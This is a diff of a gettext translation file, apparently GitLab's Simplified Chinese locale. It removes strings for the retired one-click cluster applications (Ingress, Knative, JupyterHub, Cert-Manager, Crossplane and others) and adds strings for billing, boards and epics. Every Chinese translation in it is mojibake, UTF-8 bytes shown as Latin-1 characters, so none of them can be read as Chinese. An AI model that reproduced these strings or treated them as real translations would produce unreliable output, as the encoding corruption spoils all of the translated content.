@@ -4023,15 +4044,9 @@ msgstr "å称"
msgid "ApprovalRule|Rule name"
msgstr "规则å称"
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr "目标分支"
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr "éµå®ˆèŒè´£åˆ†ç¦»"
@@ -4415,9 +4430,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr "至少需è¦ä¸€ä¸ªä»£ç æ‰€æœ‰è€…批准,以便更改符åˆç›¸åº”çš„ CODEEWNER 规则的文件。"
-msgid "At least one logging option is required to be enabled"
-msgstr "至少需è¦å¯ç”¨ä¸€ä¸ªæ—¥å¿—选项"
-
msgid "At least one of group_id or project_id must be specified"
msgstr "必须指定至少一个group_id或 project_id"
@@ -4605,9 +4617,6 @@ msgstr "Auto DevOps"
msgid "Auto DevOps enabled"
msgstr "å¯ç”¨Auto DevOps"
-msgid "Auto DevOps, runners and job artifacts"
-msgstr "Auto DevOps, runnersåŠä½œä¸šäº§ç‰©"
-
msgid "Auto stop successfully canceled."
msgstr "自动åœæ­¢å·²æˆåŠŸå–消。"
@@ -4995,6 +5004,9 @@ msgstr "å‡çº§"
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5135,6 +5147,9 @@ msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr "创建列表时å‘生错误。请å†è¯•ä¸€é。"
@@ -5193,6 +5208,9 @@ msgstr "展开"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5223,6 +5241,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5445,6 +5466,9 @@ msgstr "æµè§ˆäº§ç‰©"
msgid "Browse files"
msgstr "æµè§ˆæ–‡ä»¶"
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr "获å–产物时出错"
@@ -5613,6 +5637,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5659,11 +5686,11 @@ msgstr "部署策略"
msgid "CICD|Jobs"
msgstr "作业"
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
-msgstr "在未找到备用CIé…置文件时使用Auto DevOpsæµæ°´çº¿ã€‚"
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgstr ""
msgid "CICD|group enabled"
msgstr "群组已å¯ç”¨"
@@ -5707,6 +5734,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr "回调 URL"
@@ -5830,9 +5860,6 @@ msgstr "无法创建滥用报告。此用户已被ç¦ç”¨ã€‚"
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr "无法å¯ç”¨å…±äº«runner,因为其父群组ä¸å…许"
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr "ä¸èƒ½åŒæ—¶è¿è¡Œå¤šä¸ªJira导入"
@@ -5938,15 +5965,15 @@ msgstr "更改里程碑"
msgid "Change path"
msgstr "更改路径"
-msgid "Change permissions"
-msgstr "更改æƒé™"
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr "更改状æ€"
@@ -6223,6 +6250,9 @@ msgstr "加载国家失败。请å†è¯•ä¸€æ¬¡ã€‚"
msgid "Checkout|Failed to load states. Please try again."
msgstr "加载州失败。请é‡è¯•ã€‚"
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr "注册信用å¡å¤±è´¥ã€‚请å†è¯•ä¸€æ¬¡ã€‚"
@@ -6325,9 +6355,6 @@ msgstr "选择一个文件"
msgid "Choose a group"
msgstr "选择一个群组"
-msgid "Choose a role permission"
-msgstr "选择角色æƒé™"
-
msgid "Choose a template"
msgstr "选择一个模æ¿"
@@ -6355,6 +6382,9 @@ msgstr "选择标记"
msgid "Choose specific groups or storage shards"
msgstr "选择指定群组或存储片"
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "选择仓库导入的顶级群组。"
@@ -6784,9 +6814,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr "此功能仅适用于高级计划"
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr "用户æƒé™ä¸è¶³ï¼Œæ— æ³•ä¸ºæ­¤é¡¹ç›®åˆ›å»ºä»¤ç‰Œ"
@@ -6796,24 +6823,12 @@ msgstr "您的æƒé™ä¸è¶³ï¼Œæ— æ³•ä¸ºæ­¤é¡¹ç›®åˆ›å»ºé›†ç¾¤ä»£ç†"
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr "您的æƒé™ä¸è¶³ï¼Œæ— æ³•ä¸ºæ­¤é¡¹ç›®åˆ é™¤é›†ç¾¤ä»£ç†"
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr "%{appList} å·²æˆåŠŸå®‰è£…到Kubernetes集群上"
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr "%{boldStart}注æ„:%{boldEnd}需è¦å®‰è£…Ingress。"
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
-msgstr "%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
+msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr "%{linkStart}更多信æ¯%{linkEnd}"
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr "%{title} å·²æˆåŠŸå¸è½½ã€‚"
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr "%{title}æ›´æ–°æˆåŠŸã€‚"
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr "集群管ç†é¡¹ç›®å¯ä»¥ä½¿ç”¨Kubernetes%{code_open}cluster-admin%{code_close}æƒé™æ¥è¿è¡Œéƒ¨ç½²ä½œä¸šã€‚"
@@ -6847,15 +6862,6 @@ msgstr "添加集æˆåŽï¼Œå¯ä»¥åœ¨æ‰€æœ‰é¡¹ç›®ä¸­å…±äº«é›†ç¾¤ã€‚"
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr "Kubernetes集群集æˆçš„高级选项"
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr "所有未æ交到GitLabçš„æ•°æ®å°†è¢«åˆ é™¤ä¸”无法还原。"
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr "所有数æ®å°†è¢«åˆ é™¤ï¼Œæ— æ³•æ¢å¤ã€‚"
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr "所有已安装的应用程åºå’Œç›¸å…³èµ„æº"
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr "å…许GitLab管ç†æ­¤ç¾¤é›†çš„命å空间和æœåŠ¡è´¦æˆ·ã€‚%{linkStart}更多信æ¯%{linkEnd}"
@@ -6868,9 +6874,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr "此外,"
-
msgid "ClusterIntegration|Amazon EKS"
msgstr "Amazon EKS"
@@ -6892,9 +6895,6 @@ msgstr "å°è¯•è¿žæŽ¥åˆ° Kubernetes æ—¶å‘生未知错误。"
msgid "ClusterIntegration|Any project namespaces"
msgstr "任何项目命å空间"
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr "任何正在è¿è¡Œçš„æµæ°´çº¿å°†è¢«å–消。"
-
msgid "ClusterIntegration|Apply for credit"
msgstr "申请é¢åº¦"
@@ -6913,15 +6913,6 @@ msgstr "基础域"
msgid "ClusterIntegration|CA Certificate"
msgstr "CAè¯ä¹¦"
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr "å¯ä»¥å®‰å…¨ç§»é™¤ã€‚在 GitLab 13.2之å‰ï¼ŒGitLab 使用远程TilleræœåŠ¡å™¨æ¥ç®¡ç†åº”用程åºã€‚ç›®å‰GitLabä¸å†ä½¿ç”¨æ­¤æœåŠ¡å™¨ã€‚å¸è½½æ­¤æœåŠ¡å™¨å°†ä¸ä¼šå½±å“您的其他应用程åºã€‚æ­¤åŽè¯¥è¡Œå°†ä¸å†æ˜¾ç¤ºã€‚"
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr "Cert-Manager"
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr "Cert-Manager是一个本地Kubernetesè¯ä¹¦ç®¡ç†æŽ§åˆ¶å™¨ï¼Œå¯ç”¨äºŽé¢å‘è¯ä¹¦ã€‚在您的群集上安装Cert-Managerå¯ä»¥é¢å‘æ¥è‡ª%{linkStart}Let's Encrypt%{linkEnd}çš„è¯ä¹¦å¹¶ç¡®ä¿è¯ä¹¦æœ‰æ•ˆä¸”是最新的。"
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr "è¯ä¹¦æŽˆæƒåŒ…(PEMæ ¼å¼)"
@@ -6943,9 +6934,6 @@ msgstr "在VPC中选择è¿è¡Œå·¥ä½œèŠ‚点的%{linkStart}å­ç½‘%{linkEnd}。"
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr "选择工作节点的%{linkStart}实例类型%{linkEnd}。"
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr "选择è¦åœ¨æ‚¨çš„Kubernetes集群上安装应用程åºã€‚"
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "请选择使用此Kubernetes群集的环境。"
@@ -6958,15 +6946,12 @@ msgstr "清除命å空间和æœåŠ¡è´¦æˆ·çš„本地缓存。"
msgid "ClusterIntegration|Cluster Region"
msgstr "集群区域"
-msgid "ClusterIntegration|Cluster management project (alpha)"
-msgstr "集群管ç†é¡¹ç›®(alpha)"
+msgid "ClusterIntegration|Cluster management project"
+msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr "群集å称为必填项。"
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr "Cluster_applications产物太大。å…许的最大大å°: %{human_size}"
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr "层级中最低且匹é…环境范围的集群将会被使用。例如,项目群集将优先于群组群集。%{linkStart}更多信æ¯%{linkEnd}"
@@ -6988,15 +6973,6 @@ msgstr "å¤åˆ¶API地å€"
msgid "ClusterIntegration|Copy CA Certificate"
msgstr "å¤åˆ¶CAè¯ä¹¦"
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr "å¤åˆ¶Ingress Endpoint"
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr "å¤åˆ¶Jupyter主机å"
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr "å¤åˆ¶Knative Endpoint"
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr "å¤åˆ¶Kubernetes集群å称"
@@ -7045,12 +7021,6 @@ msgstr "在GKE上创建新集群"
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr "正在创建 Kubernetes 集群"
-msgid "ClusterIntegration|Crossplane"
-msgstr "Crossplane"
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr "Crossplane支æŒä½¿ç”¨%{codeStart}kubectl%{codeEnd}或%{linkStart}GitLab Integration%{linkEnd}从您选择的云æœåŠ¡ä¸­ä»¥å£°æ˜Žæ–¹å¼æ供托管æœåŠ¡ã€‚ Crossplaneè¿è¡Œåœ¨æ‚¨çš„Kubernetes集群内部,并支æŒåº”用程åºå®¹å™¨ä¸Žå®ƒä»¬ä¾èµ–的云æœåŠ¡ä¹‹é—´çš„安全连接和密ç ç®¡ç†ã€‚"
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr "移除过程中删除此集群中的所有GitLab资æº"
@@ -7066,9 +7036,6 @@ msgstr "你是å¦äº†è§£ï¼Ÿ"
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr "Elastic Kubernetes Service(EKS)"
-msgid "ClusterIntegration|Elastic Stack"
-msgstr "Elastic Stack"
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr "为Anthoså¯ç”¨Cloud Run"
@@ -7084,9 +7051,6 @@ msgstr "å¯ç”¨æˆ–ç¦ç”¨GitLab与Kubernetes群集的连接。"
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr "如果使用基于角色的访问控制(RBAC),请å¯ç”¨æ­¤è®¾ç½®ã€‚"
-msgid "ClusterIntegration|Enabled stack"
-msgstr "å·²å¯ç”¨çš„æ ˆ"
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr "输入新的æœåŠ¡ä»¤ç‰Œ"
@@ -7129,27 +7093,12 @@ msgstr "正在获å–项目"
msgid "ClusterIntegration|Fetching zones"
msgstr "正在获å–地域"
-msgid "ClusterIntegration|Fluentd"
-msgstr "Fluentd"
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr "Fluentd是一个开æºæ•°æ®æ”¶é›†å™¨ï¼Œå¯ä»¥ç»Ÿä¸€æ•°æ®æ”¶é›†å’Œåˆ©ç”¨ï¼Œä»¥ä¾¿æ›´å¥½åœ°ä½¿ç”¨å’Œäº†è§£æ•°æ®ã€‚它è¦æ±‚至少安装一个以下日志。"
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr "GitLab Agent管ç†çš„集群"
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr "GitLab容器网络策略"
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab集æˆ"
-msgid "ClusterIntegration|GitLab Runner"
-msgstr "GitLab Runner"
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr "GitLab Runner连接到仓库并执行CI/CD作业,返回结果并将应用程åºéƒ¨ç½²åˆ°ç”Ÿäº§çŽ¯å¢ƒã€‚"
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr "GitLab认è¯å¤±è´¥ã€‚"
@@ -7177,9 +7126,6 @@ msgstr "群组级集群"
msgid "ClusterIntegration|HTTP Error"
msgstr "HTTP错误"
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr "Helm版本安装失败"
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "如果您正在设置多个群集并使用Auto DevOps,请%{help_link_start}先查阅此处%{help_link_end}。"
@@ -7189,18 +7135,6 @@ msgstr "如果您ä¸æƒ³åˆ é™¤æ‰€æœ‰ç›¸å…³çš„GitLab资æºï¼Œæ‚¨å¯ä»¥åªåˆ é™¤é›†
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr "Ingress"
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr "Ingress 节点"
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr "Ingress为您æ供了一ç§åŸºäºŽè¯·æ±‚主机或路径将请求路由到æœåŠ¡çš„方法,将多个æœåŠ¡é›†ä¸­åˆ°ä¸€ä¸ªå…¥å£ç‚¹ã€‚"
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr "安装Ingresså¯èƒ½ä¼šäº§ç”Ÿé¢å¤–费用。了解更多关于%{linkStart}定价%{linkEnd}çš„ä¿¡æ¯ã€‚"
-
msgid "ClusterIntegration|Instance cluster"
msgstr "实例集群"
@@ -7222,39 +7156,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr "ç­¾å‘人电å­é‚®ä»¶"
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr "ç­¾å‘人代表è¯ä¹¦é¢å‘机构。您必须为您的签å‘人æ供电å­é‚®ä»¶åœ°å€ã€‚"
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr "Jupyter主机å"
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr "JupyterHub"
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr "JupyterHub是一个多用户Hub,å¯ç”Ÿæˆï¼Œç®¡ç†å’Œä»£ç†å•ç”¨æˆ·Jupyter笔记本æœåŠ¡å™¨çš„多个实例。 JupyterHubå¯ç”¨äºŽä¸ºå­¦ç”Ÿç­çº§ï¼Œä¼ä¸šæ•°æ®ç§‘å­¦å°ç»„或科研å°ç»„æ供笔记本。"
-
msgid "ClusterIntegration|Key pair name"
msgstr "密钥对å"
-msgid "ClusterIntegration|Knative"
-msgstr "Knative"
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr "Knative域å:"
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr "Knative 节点:"
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr "Knative域åå·²æˆåŠŸæ›´æ–°ã€‚"
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr "Knative扩展了Kubernetes,æ供了一组中间件组件,这些组件对于构建å¯åœ¨ä»»ä½•åœ°æ–¹è¿è¡ŒçŽ°ä»£çš„ã€ä»¥å¼€æºä¸ºä¸­å¿ƒå’ŒåŸºäºŽå®¹å™¨çš„应用程åºè‡³å…³é‡è¦ï¼šåœ¨æœ¬åœ°ï¼Œåœ¨äº‘中,甚至在第三方数æ®ä¸­å¿ƒã€‚"
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr "正在创建Kubernetes集群..."
@@ -7288,9 +7192,6 @@ msgstr "了解更多的群组级Kubernetes集群信æ¯"
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr "了解有关实例级Kubernetes集群更多信æ¯"
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr "传统Helm TilleræœåŠ¡å™¨"
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr "加载IAM角色"
@@ -7339,12 +7240,6 @@ msgstr "没有找到密钥对"
msgid "ClusterIntegration|No VPCs found"
msgstr "找ä¸åˆ°VPC"
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr "找ä¸åˆ°æ­¤ä½œä¸šçš„部署集群"
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr "找ä¸åˆ°æ­¤ä½œä¸šçš„部署"
-
msgid "ClusterIntegration|No instance type found"
msgstr "找ä¸åˆ°å®žä¾‹ç±»åž‹"
@@ -7387,9 +7282,6 @@ msgstr "请输入Kubernetes集群的访问信æ¯ã€‚如需帮助,å¯å‚阅Kuber
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "请确ä¿æ‚¨çš„ Google å¸æˆ·ç¬¦åˆä»¥ä¸‹è¦æ±‚:"
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr "将通é…符 DNS 指å‘此生æˆçš„节点,以便在部署应用程åºåŽè®¿é—®å®ƒã€‚"
-
msgid "ClusterIntegration|Project cluster"
msgstr "项目级集群"
@@ -7399,15 +7291,6 @@ msgstr "项目命å空间(å¯é€‰ï¼Œå”¯ä¸€)"
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr "项目命å空间å‰ç¼€(å¯é€‰ï¼Œå”¯ä¸€)"
-msgid "ClusterIntegration|Prometheus"
-msgstr "Prometheus"
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr "Prometheus是一个开æºç›‘控系统,通过%{linkStart}GitLab集æˆ%{linkEnd}æ¥ç›‘控已部署应用。"
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr "通过GitLab容器网络策略ä¿æŠ¤æ‚¨çš„集群,方法是强制规定pods如何相互通信和其他网络端点通信。%{linkStart}了解更多关于é…置网络政策的信æ¯ã€‚%{linkEnd}"
-
msgid "ClusterIntegration|Provider details"
msgstr "集群详情"
@@ -7444,24 +7327,6 @@ msgstr "从当å‰é¡¹ç›®ä¸­åˆ é™¤æ­¤Kubernetes集群的é…置。该æ“作并ä¸ä¼
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr "从项目中删除集群,但ä¿ç•™ç›¸å…³èµ„æº"
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr "如果需è¦ï¼Œå¯å°†å…¶æ›¿æ¢ä¸ºæ‚¨è‡ªå·±çš„主机å。如果这样åšï¼Œè¯·å°†ä¸»æœºå从上级指å‘Ingress IP地å€ã€‚"
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr "请求å¯åŠ¨å®‰è£…失败"
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr "请求å¯åŠ¨å¸è½½å¤±è´¥"
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr "SIEM主机å"
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr "SIEM端å£"
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr "SIEMåè®®"
-
msgid "ClusterIntegration|Save changes"
msgstr "ä¿å­˜æ›´æ”¹"
@@ -7474,9 +7339,6 @@ msgstr "æœç´¢å¯†é’¥å¯¹"
msgid "ClusterIntegration|Search VPCs"
msgstr "æœç´¢VPC"
-msgid "ClusterIntegration|Search domains"
-msgstr "æœç´¢åŸŸ"
-
msgid "ClusterIntegration|Search instance types"
msgstr "æœç´¢å®žä¾‹ç±»åž‹"
@@ -7525,15 +7387,9 @@ msgstr "请先选择一个区域然åŽé€‰æ‹©ä¸€ä¸ªå¯†é’¥å¯¹"
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr "请先选择一个区域然åŽé€‰æ‹©VPC"
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr "选择è¦å®‰è£…Crossplane的栈。"
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr "选择区域以选择网络"
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr "选择现有域或使用新域"
-
msgid "ClusterIntegration|Select machine type"
msgstr "选择实例类型"
@@ -7558,9 +7414,6 @@ msgstr "选择地域"
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr "按地域选择实例类型"
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr "å‘é€å®¹å™¨ç½‘络策略日志"
-
msgid "ClusterIntegration|Service Token"
msgstr "æœåŠ¡ä»¤ç‰Œ"
@@ -7579,27 +7432,12 @@ msgstr "å‘生了内部错误"
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr "创建Kubernetes集群时å‘生错误"
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr "安装%{title}时出现问题"
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr "ä¿å­˜è®¾ç½®æ—¶å‡ºäº†ç‚¹é—®é¢˜ã€‚请å†è¯•ä¸€é。"
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr "å¸è½½ %{title} 时出错"
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr "æ›´æ–°Knative域å时出错。"
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr "指定域将å…许您使用%{linkStart}Auto DevOps%{linkEnd}中的自动评审应用和自动部署阶段。域å应包å«ä¸ŽåŸŸåŒ¹é…的通é…符DNS。"
msgid "ClusterIntegration|Subnets"
msgstr "å­ç½‘"
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr "%{gitlabNamespace}å称空间"
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr "与您的角色关è”çš„Amazon资æºå称(ARN)。如果您没有é…置角色,请首先使用上述å¸æˆ·å’Œå¤–部ID在 %{startAwsLink}Amazon Web Services%{externalLinkIcon}%{endLink} 上创建一个。了解%{startMoreInfoLink}更多信æ¯%{endLink}"
@@ -7609,24 +7447,6 @@ msgstr "用于对群集进行身份验è¯çš„ Kubernetes è¯ä¹¦ã€‚"
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr "用于访问 Kubernetes API 的 URL。"
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr "å…³è”çš„IPåŠæ‰€æœ‰å·²éƒ¨ç½²çš„æœåŠ¡å°†è¢«åˆ é™¤ï¼Œæ— æ³•æ¢å¤ã€‚å¸è½½Knative会åŒæ—¶ä»Žé›†ç¾¤ä¸­åˆ é™¤ Istio。此æ“作将ä¸ä¼šå½±å“任何其他应用。"
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr "相关的Tiller pod将被删除且无法还原。您的其他应用程åºå°†ä¸å—å½±å“。"
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr "å…³è”çš„è´Ÿè½½å‡è¡¡å™¨å’ŒIP将被删除,无法还原。"
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr "相关的ç§é’¥å°†è¢«åˆ é™¤ï¼Œæ— æ³•æ¢å¤ã€‚"
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr "Elastic stack从群集中的所有的Pod收集日志"
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr "节点正在分é…中。如果花费时间过长,请检查您的Kubernetes集群或Google Kubernetes Engine上的é…é¢ã€‚"
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr "与当å‰é¡¹ç›®ç›¸å…³è”的命å空间。用于部署看æ¿ã€pod日志和Web terminal。"
@@ -7657,9 +7477,6 @@ msgstr "此项目未å¯ç”¨è®¡è´¹ã€‚如需创建群集,请%{linkToBillingStart}
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr "æ­¤æ“作将永久删除以下资æºï¼š"
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
